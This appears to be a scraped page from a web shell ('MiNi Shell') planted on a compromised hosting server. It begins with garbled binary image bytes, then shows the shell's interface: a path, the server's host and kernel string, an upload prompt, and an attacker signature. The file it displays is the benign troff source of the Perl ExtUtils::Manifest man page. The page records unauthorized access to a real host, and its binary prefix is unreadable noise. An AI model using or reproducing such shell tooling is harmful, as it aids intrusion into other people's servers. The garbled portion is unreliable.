JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/ExtUtils::Manifest.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "ExtUtils::Manifest 3"
.TH ExtUtils::Manifest 3 "2001-09-21" "perl v5.8.8" "Perl Programmers Reference Guide"
.SH "NAME"
ExtUtils::Manifest \- utilities to write and check a MANIFEST file
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&    use ExtUtils::Manifest qw(...funcs to import...);
.Ve
.PP
.Vb 1
\&    mkmanifest();
.Ve
.PP
.Vb 4
\&    my @missing_files    = manicheck;
\&    my @skipped          = skipcheck;
\&    my @extra_files      = filecheck;
\&    my($missing, $extra) = fullcheck;
.Ve
.PP
.Vb 1
\&    my $found    = manifind();
.Ve
.PP
.Vb 1
\&    my $manifest = maniread();
.Ve
.PP
.Vb 1
\&    manicopy($read,$target);
.Ve
.PP
.Vb 1
\&    maniadd({$file => $comment, ...});
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
.Sh "Functions"
.IX Subsection "Functions"
ExtUtils::Manifest exports no functions by default.  The following are
exported on request
.IP "mkmanifest" 4
.IX Item "mkmanifest"
.Vb 1
\&    mkmanifest();
.Ve
.Sp
Writes all files in and below the current directory to your \fI\s-1MANIFEST\s0\fR.
It works similar to
.Sp
.Vb 1
\&    find . > MANIFEST
.Ve
.Sp
All files that match any regular expression in a file \fI\s-1MANIFEST\s0.SKIP\fR
(if it exists) are ignored.
.Sp
Any existing \fI\s-1MANIFEST\s0\fR file will be saved as \fI\s-1MANIFEST\s0.bak\fR.  Lines
from the old \fI\s-1MANIFEST\s0\fR file is preserved, including any comments
that are found in the existing \fI\s-1MANIFEST\s0\fR file in the new one.
.IP "manifind" 4
.IX Item "manifind"
.Vb 1
\&    my $found = manifind();
.Ve
.Sp
returns a hash reference. The keys of the hash are the files found
below the current directory.
.IP "manicheck" 4
.IX Item "manicheck"
.Vb 1
\&    my @missing_files = manicheck();
.Ve
.Sp
checks if all the files within a \f(CW\*(C`MANIFEST\*(C'\fR in the current directory
really do exist. If \f(CW\*(C`MANIFEST\*(C'\fR and the tree below the current
directory are in sync it silently returns an empty list.
Otherwise it returns a list of files which are listed in the
\&\f(CW\*(C`MANIFEST\*(C'\fR but missing from the directory, and by default also
outputs these names to \s-1STDERR\s0.
.IP "filecheck" 4
.IX Item "filecheck"
.Vb 1
\&    my @extra_files = filecheck();
.Ve
.Sp
finds files below the current directory that are not mentioned in the
\&\f(CW\*(C`MANIFEST\*(C'\fR file. An optional file \f(CW\*(C`MANIFEST.SKIP\*(C'\fR will be
consulted. Any file matching a regular expression in such a file will
not be reported as missing in the \f(CW\*(C`MANIFEST\*(C'\fR file. The list of any
extraneous files found is returned, and by default also reported to
\&\s-1STDERR\s0.
.IP "fullcheck" 4
.IX Item "fullcheck"
.Vb 1
\&    my($missing, $extra) = fullcheck();
.Ve
.Sp
does both a \fImanicheck()\fR and a \fIfilecheck()\fR, returning then as two array
refs.
.IP "skipcheck" 4
.IX Item "skipcheck"
.Vb 1
\&    my @skipped = skipcheck();
.Ve
.Sp
lists all the files that are skipped due to your \f(CW\*(C`MANIFEST.SKIP\*(C'\fR
file.
.IP "maniread" 4
.IX Item "maniread"
.Vb 2
\&    my $manifest = maniread();
\&    my $manifest = maniread($manifest_file);
.Ve
.Sp
reads a named \f(CW\*(C`MANIFEST\*(C'\fR file (defaults to \f(CW\*(C`MANIFEST\*(C'\fR in the current
directory) and returns a \s-1HASH\s0 reference with files being the keys and
comments being the values of the \s-1HASH\s0.  Blank lines and lines which
start with \f(CW\*(C`#\*(C'\fR in the \f(CW\*(C`MANIFEST\*(C'\fR file are discarded.
.IP "manicopy" 4
.IX Item "manicopy"
.Vb 2
\&    manicopy(\e%src, $dest_dir);
\&    manicopy(\e%src, $dest_dir, $how);
.Ve
.Sp
Copies the files that are the keys in \f(CW%src\fR to the \f(CW$dest_dir\fR.  \f(CW%src\fR is
typically returned by the \fImaniread()\fR function.
.Sp
.Vb 1
\&    manicopy( maniread(), $dest_dir );
.Ve
.Sp
This function is useful for producing a directory tree identical to the 
intended distribution tree. 
.Sp
$how can be used to specify a different methods of \*(L"copying\*(R".  Valid
values are \f(CW\*(C`cp\*(C'\fR, which actually copies the files, \f(CW\*(C`ln\*(C'\fR which creates
hard links, and \f(CW\*(C`best\*(C'\fR which mostly links the files but copies any
symbolic link to make a tree without any symbolic link.  \f(CW\*(C`cp\*(C'\fR is the 
default.
.IP "maniadd" 4
.IX Item "maniadd"
.Vb 1
\&  maniadd({ $file => $comment, ...});
.Ve
.Sp
Adds an entry to an existing \fI\s-1MANIFEST\s0\fR unless its already there.
.Sp
$file will be normalized (ie. Unixified).  \fB\s-1UNIMPLEMENTED\s0\fR
.Sh "\s-1MANIFEST\s0"
.IX Subsection "MANIFEST"
A list of files in the distribution, one file per line.  The \s-1MANIFEST\s0
always uses Unix filepath conventions even if you're not on Unix.  This
means \fIfoo/bar\fR style not \fIfoo\ebar\fR.
.PP
Anything between white space and an end of line within a \f(CW\*(C`MANIFEST\*(C'\fR
file is considered to be a comment.  Any line beginning with # is also
a comment.
.PP
.Vb 3
\&    # this a comment
\&    some/file
\&    some/other/file            comment about some/file
.Ve
.Sh "\s-1MANIFEST\s0.SKIP"
.IX Subsection "MANIFEST.SKIP"
The file \s-1MANIFEST\s0.SKIP may contain regular expressions of files that
should be ignored by \fImkmanifest()\fR and \fIfilecheck()\fR. The regular
expressions should appear one on each line. Blank lines and lines
which start with \f(CW\*(C`#\*(C'\fR are skipped.  Use \f(CW\*(C`\e#\*(C'\fR if you need a regular
expression to start with a \f(CW\*(C`#\*(C'\fR.
.PP
For example:
.PP
.Vb 5
\&    # Version control files and dirs.
\&    \ebRCS\eb
\&    \ebCVS\eb
\&    ,v$
\&    \eB\e.svn\eb
.Ve
.PP
.Vb 5
\&    # Makemaker generated files and dirs.
\&    ^MANIFEST\e.
\&    ^Makefile$
\&    ^blib/
\&    ^MakeMaker-\ed
.Ve
.PP
.Vb 5
\&    # Temp, old and emacs backup files.
\&    ~$
\&    \e.old$
\&    ^#.*#$
\&    ^\e.#
.Ve
.PP
If no \s-1MANIFEST\s0.SKIP file is found, a default set of skips will be
used, similar to the example above.  If you want nothing skipped,
simply make an empty \s-1MANIFEST\s0.SKIP file.
.Sh "\s-1EXPORT_OK\s0"
.IX Subsection "EXPORT_OK"
\&\f(CW&mkmanifest\fR, \f(CW&manicheck\fR, \f(CW&filecheck\fR, \f(CW&fullcheck\fR,
\&\f(CW&maniread\fR, and \f(CW&manicopy\fR are exportable.
.Sh "\s-1GLOBAL\s0 \s-1VARIABLES\s0"
.IX Subsection "GLOBAL VARIABLES"
\&\f(CW$ExtUtils::Manifest::MANIFEST\fR defaults to \f(CW\*(C`MANIFEST\*(C'\fR. Changing it
results in both a different \f(CW\*(C`MANIFEST\*(C'\fR and a different
\&\f(CW\*(C`MANIFEST.SKIP\*(C'\fR file. This is useful if you want to maintain
different distributions for different audiences (say a user version
and a developer version including \s-1RCS\s0).
.PP
\&\f(CW$ExtUtils::Manifest::Quiet\fR defaults to 0. If set to a true value,
all functions act silently.
.PP
\&\f(CW$ExtUtils::Manifest::Debug\fR defaults to 0.  If set to a true value,
or if \s-1PERL_MM_MANIFEST_DEBUG\s0 is true, debugging output will be
produced.
.SH "DIAGNOSTICS"
.IX Header "DIAGNOSTICS"
All diagnostic output is sent to \f(CW\*(C`STDERR\*(C'\fR.
.ie n .IP """Not in MANIFEST:""\fR \fIfile" 4
.el .IP "\f(CWNot in MANIFEST:\fR \fIfile\fR" 4
.IX Item "Not in MANIFEST: file"
is reported if a file is found which is not in \f(CW\*(C`MANIFEST\*(C'\fR.
.ie n .IP """Skipping""\fR \fIfile" 4
.el .IP "\f(CWSkipping\fR \fIfile\fR" 4
.IX Item "Skipping file"
is reported if a file is skipped due to an entry in \f(CW\*(C`MANIFEST.SKIP\*(C'\fR.
.ie n .IP """No such file:""\fR \fIfile" 4
.el .IP "\f(CWNo such file:\fR \fIfile\fR" 4
.IX Item "No such file: file"
is reported if a file mentioned in a \f(CW\*(C`MANIFEST\*(C'\fR file does not
exist.
.ie n .IP """MANIFEST:""\fR \fI$!" 4
.el .IP "\f(CWMANIFEST:\fR \fI$!\fR" 4
.IX Item "MANIFEST: $!"
is reported if \f(CW\*(C`MANIFEST\*(C'\fR could not be opened.
.ie n .IP """Added to MANIFEST:""\fR \fIfile" 4
.el .IP "\f(CWAdded to MANIFEST:\fR \fIfile\fR" 4
.IX Item "Added to MANIFEST: file"
is reported by \fImkmanifest()\fR if \f(CW$Verbose\fR is set and a file is added
to \s-1MANIFEST\s0. \f(CW$Verbose\fR is set to 1 by default.
.SH "ENVIRONMENT"
.IX Header "ENVIRONMENT"
.IP "\fB\s-1PERL_MM_MANIFEST_DEBUG\s0\fR" 4
.IX Item "PERL_MM_MANIFEST_DEBUG"
Turns on debugging
.SH "SEE ALSO"
.IX Header "SEE ALSO"
ExtUtils::MakeMaker which has handy targets for most of the functionality.
.SH "AUTHOR"
.IX Header "AUTHOR"
Andreas Koenig \f(CW\*(C`andreas.koenig@anima.de\*(C'\fR
.PP
Currently maintained by Michael G Schwern \f(CW\*(C`schwern@pobox.com\*(C'\fR

Creat By MiNi SheLL
Email: devilkiller@gmail.com